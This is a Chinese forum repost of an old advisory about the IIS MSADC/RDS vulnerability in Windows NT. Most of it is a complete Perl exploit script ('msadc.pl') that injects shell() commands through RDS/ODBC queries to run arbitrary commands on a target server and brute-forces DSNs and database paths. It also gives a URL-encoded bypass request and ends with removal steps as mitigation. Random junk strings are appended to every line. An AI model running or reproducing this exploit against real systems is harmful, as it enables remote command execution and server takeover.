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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) k&[6Ld0~56  
,qB@agjvo<  
涉及程序: pR2U&OA  
Microsoft NT server wLI1qoDM  
%'. x vC  
描述: eFy {VpO+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 >*B59+1P  
hDg"?{  
详细: 7zN7PHT=$t  
如果你没有时间读详细内容的话,就删除: k`'*niz  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 2Kr8#_) 0  
有关的安全问题就没有了。 7;.Iat9gMf  
z&#^9rM"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 XLYGhM  
m%;LJ~R  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 -~J5aG[@~>  
关于利用ODBC远程漏洞的描述,请参看: )B+zv,#q  
#_3ZF"[zq  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /`#JM  
@Wm:Rz  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 8ZjRMr}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp yZoJD{'?Sw  
ON>l%Ae4G  
这里不再论述。 .n.N.e  
|eye) E:  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: f*xv#G  
*(wxNsK  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [\fwnS_1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! E}0g  
g%ys|  
~-sG&u>  
#将下面这段保存为txt文件,然后: "perl -x 文件名" e*I92  
'vq0Tw5  
#!perl nu|,wE!i  
# f4 +P2j  
# MSADC/RDS 'usage' (aka exploit) script XXwo(trs~=  
# g&. OJ  
# by rain.forest.puppy NTCFmdbs 6  
# ZcHIk{|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me I+3=|Ve f  
# beta test and find errors! fX\y/C  
qv:DpK  
use Socket; use Getopt::Std; |RXXj[z  
getopts("e:vd:h:XR", \%args); o1{3[=G  
2zv:j7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; JXt_  
sUiO~<Ozpk  
if (!defined $args{h} && !defined $args{R}) { oxnI/Z  
print qq~ +l]> (k.2  
Usage: msadc.pl -h <host> { -d <delay> -X -v } M,oZ_tY%  
-h <host> = host you want to scan (ip or domain) Ui1s ]R  
-d <seconds> = delay between calls, default 1 second %SCt_9u  
-X = dump Index Server path table, if available ,E%O_:}R  
-v = verbose #tw_`yh  
-e = external dictionary file for step 5 pP"j|  
8aM\B%NGWi  
Or a -R will resume a command session p*1 B *R  
R S>qP;V*-  
~; exit;} {+5Ud#\y  
3-Xd9ou  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]|K6Z>V  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ~GJ;;v1b2  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} f?16%Rk<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); u35"oLV6}#  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} S {+Z.P  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `]l|YQz\  
BbL]0i  
if (!defined $args{R}){ $ret = &has_msadc; GZuWA a  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} BT$Oh4y4  
 3U!=R-  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" |S<!'rY  
. "cmd /c "; gg#lI|  
$in=<STDIN>; chomp $in; ~oK0k_{~  
$command="cmd /c " . $in ; g2M1zRm;  
zqQ[uO]m?  
if (defined $args{R}) {&load; exit;} ^;[_CF _  
$Tt.r  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; @W==)S%O  
&try_btcustmr; :>H{?  
ug"4P.wI  
print "\nStep 2: Trying to make our own DSN..."; )7#3n(_np  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; N K@6U_/W  
\PG_i'R  
print "\nStep 3: Trying known DSNs..."; c&h8Qk3  
&known_dsn; YuJ{@"H  
(4C)] RHQ  
print "\nStep 4: Trying known .mdbs..."; E]a;Ydf~  
&known_mdb; q]Xu #:X  
6p3cMJ'8y  
if (defined $args{e}){ Y ;E'gP-J  
print "\nStep 5: Trying dictionary of DSN names..."; xh25 *y  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } i],~tT|P  
uz20pun4B  
print "Sorry Charley...maybe next time?\n"; O@dK^o  
exit; bTAY5\wB  
,C_MB1u  
############################################################################## ,K30.E  
w?M"`O(  
sub sendraw { # ripped and modded from whisker &5B/>ag1!  
sleep($delay); # it's a DoS on the server! At least on mine... Are0Nj&?  
my ($pstr)=@_; \CS4aIp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || n!Y}D:6c6  
die("Socket problems\n"); xbHI 4A"Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ X%B$*y5  
select(S); $|=1; e5; YY  
print $pstr; my @in=<S>; FlrYXau  
select(STDOUT); close(S); $GhL-sqm  
return @in; 1 >2 /1>  
} else { die("Can't connect...\n"); }} OCCC' k  
^'+#BPo9@  
############################################################################## %@ q2  
vkG%w;  
sub make_header { # make the HTTP request yWT1CID  
my $msadc=<<EOT vI48*&]wTf  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 F/:%YR;  
User-Agent: ACTIVEDATA ?zVE7;r4U  
Host: $ip D)S_ p&  
Content-Length: $clen ;/IX w>O(/  
Connection: Keep-Alive VuK>lY &  
0r!F]Rm-^  
ADCClientVersion:01.06 pQ4HX)<P  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~[BGKq h  
PB BJ.!Pb  
--!ADM!ROX!YOUR!WORLD! CU*;>h1~u  
Content-Type: application/x-varg FBzsM7]j  
Content-Length: $reqlen YZ<5-C  
k!WeE#"(  
EOT 2$o\`^dy  
; $msadc=~s/\n/\r\n/g; #P!M"_z  
return $msadc;} xsS;<uCD  
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############################################################################## K05T`+N,  
D})12qB;u9  
sub make_req { # make the RDS request (b"q(:5oX  
my ($switch, $p1, $p2)=@_; txX>zR*)  
my $req=""; my $t1, $t2, $query, $dsn; R-mn8N&  
^i3!1cS  
if ($switch==1){ # this is the btcustmr.mdb query |;p.!FO  
$query="Select * from Customers where City=" . make_shell(); 4gmlK,a  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 8R(l~  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} i;IhsKO0R  
pm[i#V<v  
elsif ($switch==2){ # this is general make table query 66_=bd(9  
$query="create table AZZ (B int, C varchar(10))"; |X6R 2I  
$dsn="$p1";} iorQ/(  
<KoOJMx(  
elsif ($switch==3){ # this is general exploit table query z  61Fq  
$query="select * from AZZ where C=" . make_shell(); G"6XJYoI  
$dsn="$p1";} 8"V1h72vcW  
Y%r>=Jvu6  
elsif ($switch==4){ # attempt to hork file info from index server qIh9? |`U  
$query="select path from scope()"; `ah"Q;d$  
$dsn="Provider=MSIDXS;";} N6%L4v8-}X  
  
elsif ($switch==5){ # bad query KhL%ov  
$query="select"; }"kF<gG1  
$dsn="$p1";} l=$?#^^ /  
Wk!<P" nHd  
$t1= make_unicode($query); KAu>U3\/  
$t2= make_unicode($dsn); >5 Y.  
$req = "\x02\x00\x03\x00"; >S{8sN  
$req.= "\x08\x00" . pack ("S1", length($t1)); NJQy*~P  
$req.= "\x00\x00" . $t1 ; giesof  
$req.= "\x08\x00" . pack ("S1", length($t2)); G)o:R iq  
$req.= "\x00\x00" . $t2 ; $) qL=kR  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; UDgX A  
return $req;} u6MU @?  
(rBYE[@,  
############################################################################## 7$IR^  
r{Mn{1:O  
sub make_shell { # this makes the shell() statement ?papk4w  
return "'|shell(\"$command\")|'";} w2lO[o~x}  
wuSotbc/  
############################################################################## 6/" #pe^  
`/B+  
sub make_unicode { # quick little function to convert to unicode z+zEH9.'  
my ($in)=@_; my $out; J*Cf1 D5!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } H"?Ndl:  
return $out;} .}(X19R  
3h A5"G+7  
############################################################################## #n|eq{fkK  
h$%h w+"4  
sub rdo_success { # checks for RDO return success (this is kludge) n+2>jY  
my (@in) = @_; my $base=content_start(@in); 'tX}6wurf  
if($in[$base]=~/multipart\/mixed/){ mSk";UCn  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8-@H zS%  
return 0;} Q DKY7"H  
4<f^/!9w  
############################################################################## g\iSc~%?  
Lnq CHe  
sub make_dsn { # this makes a DSN for us .4<lw  
my @drives=("c","d","e","f"); HJlxpX$_  
print "\nMaking DSN: "; qT#NS&T!-  
foreach $drive (@drives) { Wq}W )E  
print "$drive: "; U % ?+N  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 3l$D%y  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" lW4 6S  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); i4M%{]G3Y  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Ies` !W^  
return 0 if $2 eq "404"; # not found/doesn't exist \}YAQ'T  
if($2 eq "200") { m5, &;~  
foreach $line (@results) { "QBl "<<s  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p )WRsJ8  
} return 0;} J90 )v7  
wb##|XyK<c  
############################################################################## nAX/u[  
GBT219Z@8  
sub verify_exists { (''w$qq"D  
my ($page)=@_; 7=qvu&{  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 9j5-/   
return $results[0];} `-?`H>+OG  
^nDa-J$  
############################################################################## "}oo`+]Cq  
UoSc<h|  
sub try_btcustmr { 8~|v:qk  
my @drives=("c","d","e","f"); VAe[x `  
my @dirs=("winnt","winnt35","winnt351","win","windows"); N0 mh gEA  
<KI>:@|Sc  
foreach $dir (@dirs) { :EH>&vm  
print "$dir -> "; # fun status so you can see progress us.IdG  
foreach $drive (@drives) { :X}Ie P  
print "$drive: "; # ditto kX)*:~*  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 0+.<BOcW5  
$reqlenlen=length( "$reqlen" ); Xc~BHEp  
$clen= 206 + $reqlenlen + $reqlen; n_wF_K\h  
7c6- o"A  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); )lJi7 ^,  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]c]^(C  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 3/]~#y%2  
_p^Wc.[~M  
############################################################################## _!w69>Nj  
9Q 7342  
sub odbc_error { KJs`[,;<  
my (@in)=@_; my $base; Kb'4W-&u!  
my $base = content_start(@in); +HgyM0LFg  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ^SM5oK  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u 7 <VD  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *uKYrs [  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u_FN'p=.  
return $in[$base+4].$in[$base+5].$in[$base+6];} {]dvzoE]  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; "EE (O9q  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 31QDN0o!~  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ",aEN=+|hV  
X}ihYM3y/  
############################################################################## U_Q;WPJ  
cxx8I  
sub verbose { '+c@U~d*7  
my ($in)=@_; lAo4)  
return if !$verbose; Y3 -f68*(  
print STDOUT "\n$in\n";} xZ SDA8kS  
]Z52L`k  
############################################################################## S@TfZ3Go|  
&MB1'~Q,hq  
sub save { 9Sl5jn  
my ($p1, $p2, $p3, $p4)=@_; xmfZ5nVL  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 0;]VTz?P  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ZoCk]hk  
close OUT;} `P$X`;SwE  
Fzn !  
############################################################################## 0<^Q j.(9  
Vo|[Z)MO`  
sub load { ~ftR:F|9  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]3Jb$Q@  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); C^:{y  
@p=<IN>; close(IN); ~4xn^.w  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ID<[=es6  
$target= inet_aton($ip) || die("inet_aton problems"); z.OJ1vY7  
print "Resuming to $ip ..."; k`s_31<  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 0n={Mb  
if($p[1]==1) { 90ov[|MkM  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; kv2 H3O  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 2Zg%4/u,Zp  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); g[\8s~g,  
if (rdo_success(@results)){print "Success!\n";} -"XHN=H  
else { print "failed\n"; verbose(odbc_error(@results));}} ]LMtZUz  
elsif ($p[1]==3){ %zhSSB =BJ  
if(run_query("$p[3]")){ 3T[zieX  
print "Success!\n";} else { print "failed\n"; }} czB),vooz  
elsif ($p[1]==4){ b'vIX< g  
if(run_query($drvst . "$p[3]")){ _ D"S  
print "Success!\n"; } else { print "failed\n"; }} Bw9O)++  
exit;} c4s,T"H  
H;[?8h(  
############################################################################## =Q6JXp  
y I[kaH"J  
sub create_table { 9! yDZ<s  
my ($in)=@_; BL-7r=Z  
$reqlen=length( make_req(2,$in,"") ) - 28; 6_:KFqc W  
$reqlenlen=length( "$reqlen" ); w{4#Q[  
$clen= 206 + $reqlenlen + $reqlen; iRM ?_|  
my @results=sendraw(make_header() . make_req(2,$in,"")); !FvL2L  
return 1 if rdo_success(@results); G+\&8fi0  
my $temp= odbc_error(@results); verbose($temp); vYq"W%  
return 1 if $temp=~/Table 'AZZ' already exists/; kovJ9  
return 0;} pIKfTkSqH  
E `V?Io  
############################################################################## ll?Qg%V[t  
Nk1p)V SC  
sub known_dsn { x1" 8K  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go N(O* "1b  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", NFf` V  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", y(Em+YTD  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); c_aj-`BKp  
kZR(0, W  
foreach $dSn (@dsns) { dl6Ju  
print "."; f=Oj01Ut*  
next if (!is_access("DSN=$dSn")); .\3gb6S}  
if(create_table("DSN=$dSn")){ ~K ('t9|  
print "$dSn successful\n"; t Q.%f:|  
if(run_query("DSN=$dSn")){ HHOqJb{8S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Z@AN0?,`~o  
print "Something's borked. Use verbose next time\n";}}} print "\n";} m;qqjzy  
WtXf~ :R  
############################################################################## |EY1$qItid  
&y-z[GR[{  
sub is_access { D}N4*L1  
my ($in)=@_; *q@3yB}  
$reqlen=length( make_req(5,$in,"") ) - 28; db>"2EE  
$reqlenlen=length( "$reqlen" ); j@4]0o  
$clen= 206 + $reqlenlen + $reqlen; w BoP&l  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~b%dBn]n>  
my $temp= odbc_error(@results); is^5TL%@  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 4.>y[_vu  
return 0;} 7dOpJjv?)  
g\*2w @  
############################################################################## <<-BQ l~  
(%9J( 4  
sub run_query { zKh<zj  
my ($in)=@_; ViUx^e\  
$reqlen=length( make_req(3,$in,"") ) - 28; }n +MVJ;dG  
$reqlenlen=length( "$reqlen" ); (@bq@0g  
$clen= 206 + $reqlenlen + $reqlen; QoMa+QTuc  
my @results=sendraw(make_header() . make_req(3,$in,"")); 9Fg:   
return 1 if rdo_success(@results); ={jj'X9  
my $temp= odbc_error(@results); verbose($temp); 5D mSgP:  
return 0;} cs4IO O$  
}|j#C[  
############################################################################## vorb?iVf>  
bzZ7L-yD  
sub known_mdb { -oY8]HrXfK  
my @drives=("c","d","e","f","g"); cmY `$=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )"63g   
my $dir, $drive, $mdb; V5 Gy|X  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8< J3Xe  
PK&X | h  
# this is sparse, because I don't know of many ]1I-e2Q-J  
my @sysmdbs=( "\\catroot\\icatalog.mdb", OUN"'p%%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", yvnvIy  
"\\system32\\certmdb.mdb", }|RL6p-/'  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% m &[(xVM  
f*^bV_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", V8Z@y&ny  
"\\cfusion\\cfapps\\forums\\forums_.mdb", M" $g*j  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", tv; ?W=&P  
"\\cfusion\\cfapps\\security\\realm_.mdb", rAD4}A_w  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %~0]o@LW7  
"\\cfusion\\database\\cfexamples.mdb", ;)ERxMun  
"\\cfusion\\database\\cfsnippets.mdb", sGa "  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Vq^b_^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", yP34h*0B  
"\\cfusion\\brighttiger\\database\\cleam.mdb", v7@ *dg  
"\\cfusion\\database\\smpolicy.mdb", ciW;sK8  
"\\cfusion\\database\cypress.mdb", d-gcXaA-8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", SUL\|z`5  
"\\website\\cgi-win\\dbsample.mdb", oq (W|  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ?gjkgCbC#  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" sBNqg~HwB?  
); #these are just }T53y6J#  
foreach $drive (@drives) { |Vp ?  
foreach $dir (@dirs){ `*]r+J2  
foreach $mdb (@sysmdbs) { zY].ZS=7  
print "."; .m xc~  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ YDgG2hT/2  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; cu#r#0U-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 'yh)6mid  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; +u lxCm_lV  
} else { print "Something's borked. Use verbose next time\n"; }}}}} T ^/\Rr  
"J `#  
foreach $drive (@drives) { BiZYGq  
foreach $mdb (@mdbs) { tw] l  
print "."; dd4^4X`j  
if(create_table($drv . $drive . $dir . $mdb)){ ho!qXS  
print "\n" . $drive . $dir . $mdb . " successful\n"; TnuA uui*  
if(run_query($drv . $drive . $dir . $mdb)){ EV;"]lC9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {9~3y2:  
} else { print "Something's borked. Use verbose next time\n"; }}}} Ctk1\quz  
} ,,?XGx  
 p.,`3"C1  
############################################################################## .{(gku>g(  
:1~4X  
sub hork_idx { kAW2vh  
print "\nAttempting to dump Index Server tables...\n"; r]S"i$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; i\* b<V  
$reqlen=length( make_req(4,"","") ) - 28; 7b R[.|T  
$reqlenlen=length( "$reqlen" ); qR4-~ p 8  
$clen= 206 + $reqlenlen + $reqlen; wid  
my @results=sendraw2(make_header() . make_req(4,"","")); eXkpU7w;  
if (rdo_success(@results)){ &-Q_%eM^  
my $max=@results; my $c; my %d; &7eN EA  
for($c=19; $c<$max; $c++){ 6?/f $,v  
$results[$c]=~s/\x00//g; /KlSI<T@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; )1<GSr9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; oF s)UR  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; xzf/W+.>.  
$d{"$1$2"}="";} ^vI`#}?  
foreach $c (keys %d){ print "$c\n"; } w=~X6[+3  
} else {print "Index server doesn't seem to be installed.\n"; }} /5Yl, P  
2TQ<XHA\  
############################################################################## S4!B;,?AxN  
}3-`e3  
sub dsn_dict { WHRBYq_  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 02^Nf7DMR  
while(<IN>){ ;r XZ?"  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; "~"=e  
next if (!is_access("DSN=$dSn")); <V|\yH9  
if(create_table("DSN=$dSn")){ 9zpOp-K6  
print "$dSn successful\n"; f2ck=3  
if(run_query("DSN=$dSn")){ m-Se-aF  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { bc2S?u{  
print "Something's borked. Use verbose next time\n";}}} ^j1i CL!  
print "\n"; close(IN);} P R_| 8H|  
v5W-f0Jo  
############################################################################## j% '~l#nw  
NFf?~I&mfu  
sub sendraw2 { # ripped and modded from whisker Uu|R]azbO  
sleep($delay); # it's a DoS on the server! At least on mine... 6)~7Uf:<v  
my ($pstr)=@_; &B$%|~Y5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d 0:;IUG  
die("Socket problems\n"); 0aYoc-( A  
if(connect(S,pack "SnA4x8",2,80,$target)){ e )]  
print "Connected. Getting data"; =b Q\BY#  
open(OUT,">raw.out"); my @in; Bey9P)_Of  
select(S); $|=1; print $pstr; o9Tsyjbj  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} :T#f&|Gg;  
close(OUT); select(STDOUT); close(S); return @in; =ibKdPtTh^  
} else { die("Can't connect...\n"); }} ~;oaW<"  
ra1_XR}  
############################################################################## {G=|fgz  
hE +M|#o  
sub content_start { # this will take in the server headers =r~ExW}+  
my (@in)=@_; my $c; x, 'KI?TyQ  
for ($c=1;$c<500;$c++) { |doG}C  
if($in[$c] =~/^\x0d\x0a/){ eX'V#K#C  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Uf|@h  
else { return $c+1; }}} rW*[sLl3  
return -1;} # it should never get here actually 2Xv$  
6<YAoo  
############################################################################## t]ID  
0 l+Jq  
sub funky { k jx<;##R8  
my (@in)=@_; my $error=odbc_error(@in); k%;oc$0G-3  
if($error=~/ADO could not find the specified provider/){ ?p>m ;Aq  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 48.4GwL7  
exit;} 1CS\1[E  
if($error=~/A Handler is required/){ i8=+ <d  
print "\nServer has custom handler filters (they most likely are patched)\n"; *^ua2s.  
exit;} 2 yRUw  
if($error=~/specified Handler has denied Access/){ ixB"6O  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'lOpoWDL  
exit;}} c']m5q39'  
:{ai w?1  
############################################################################## +O7GgySx  
HzAw rC  
sub has_msadc { _DYe<f.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Pt/F$A{Cj  
my $base=content_start(@results); b\UE+\a&  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); )vGxF}I3  
return 0;} O*>`md?MH  
perhR!#J  
######################## 9e;:(jl^  
p R ! m  
w$jSlgUHy)  
解决方案: :bq UA(k  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll HHT8_c'CC#  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 D=M'g}l  
D_BdvWSxj  
拿出来充数 哈哈
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